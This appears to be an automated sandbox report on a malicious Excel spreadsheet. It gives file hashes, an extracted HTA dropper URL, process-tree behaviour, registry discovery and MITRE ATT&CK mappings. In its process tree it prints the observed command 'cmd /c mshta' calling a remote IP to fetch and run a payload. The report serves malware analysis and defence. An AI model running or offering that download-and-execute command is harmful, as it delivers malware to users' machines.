3ba39a5fb0b54c012f18ece56d3765831922f5c9139c0a659d52e707faad9508

General

Target

3ba39a5fb0b54c012f18ece56d3765831922f5c9139c0a659d52e707faad9508.xls
Size

104KB
MD5

70336164a67f29ee4da72241f15f89b4
SHA1

b7f86f715285aeb6fe9df6398ed5fd0d2003bfa8
SHA256

3ba39a5fb0b54c012f18ece56d3765831922f5c9139c0a659d52e707faad9508
SHA512

525ebbd54c584eb4cf003e814d03a7308340e59f6f79d29f6c460a0f13f65f8af8e4b28586163b62dd8595220a7091d7cf9a5069772e5d628cbae565216c29e9
SSDEEP

3072:CGk3hbdlylKsgqopeJBWhZFGkE+cL2NdAydb4oifHMVhoSc2vUz3UWDG:Hk3hbdlylKsgqopeJBWhZFVE+W2NdAyu

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qw/as/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1724	2324	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

14 4440 mshta.exe

flow	pid	process
14	4440	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2324 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2324 wrote to memory of 1724	2324	EXCEL.EXE	cmd.exe
PID 2324 wrote to memory of 1724	2324	EXCEL.EXE	cmd.exe
PID 1724 wrote to memory of 4440	1724	cmd.exe	mshta.exe
PID 1724 wrote to memory of 4440	1724	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3ba39a5fb0b54c012f18ece56d3765831922f5c9139c0a659d52e707faad9508.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qw/as/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qw/as/se.html
    3⤵
    - Blocklisted process makes network request
    PID:4440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
42e7c9e646403ed5f35f1a5cd472faf3

SHA1
0ce02d20b080dd6d1269e0fdfb7db1b893834a6d

SHA256
4cc5badb0d1e4806a56ee9b0f875c5aa5791c9935fbefbde70a5e10120286bd9

SHA512
dcf787ebdc15ddcc8eb63a79b8bf37c009efd10836235645cc84ab87cba11f215d7f602be5afd7f76a89004a66ed37fe1692357bdeabd6095e24c215566c406b

Download Submit
memory/2324-12-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-25-0x00007FF876CCD000-0x00007FF876CCE000-memory.dmp

Filesize
4KB

Download
memory/2324-4-0x00007FF836CB0000-0x00007FF836CC0000-memory.dmp

Filesize
64KB

Download
memory/2324-3-0x00007FF836CB0000-0x00007FF836CC0000-memory.dmp

Filesize
64KB

Download
memory/2324-5-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-6-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-9-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-11-0x00007FF834AD0000-0x00007FF834AE0000-memory.dmp

Filesize
64KB

Download
memory/2324-0-0x00007FF836CB0000-0x00007FF836CC0000-memory.dmp

Filesize
64KB

Download
memory/2324-2-0x00007FF836CB0000-0x00007FF836CC0000-memory.dmp

Filesize
64KB

Download
memory/2324-10-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-13-0x00007FF834AD0000-0x00007FF834AE0000-memory.dmp

Filesize
64KB

Download
memory/2324-7-0x00007FF836CB0000-0x00007FF836CC0000-memory.dmp

Filesize
64KB

Download
memory/2324-16-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-15-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-14-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-24-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-1-0x00007FF876CCD000-0x00007FF876CCE000-memory.dmp

Filesize
4KB

Download
memory/2324-29-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download
memory/2324-8-0x00007FF876C30000-0x00007FF876E25000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads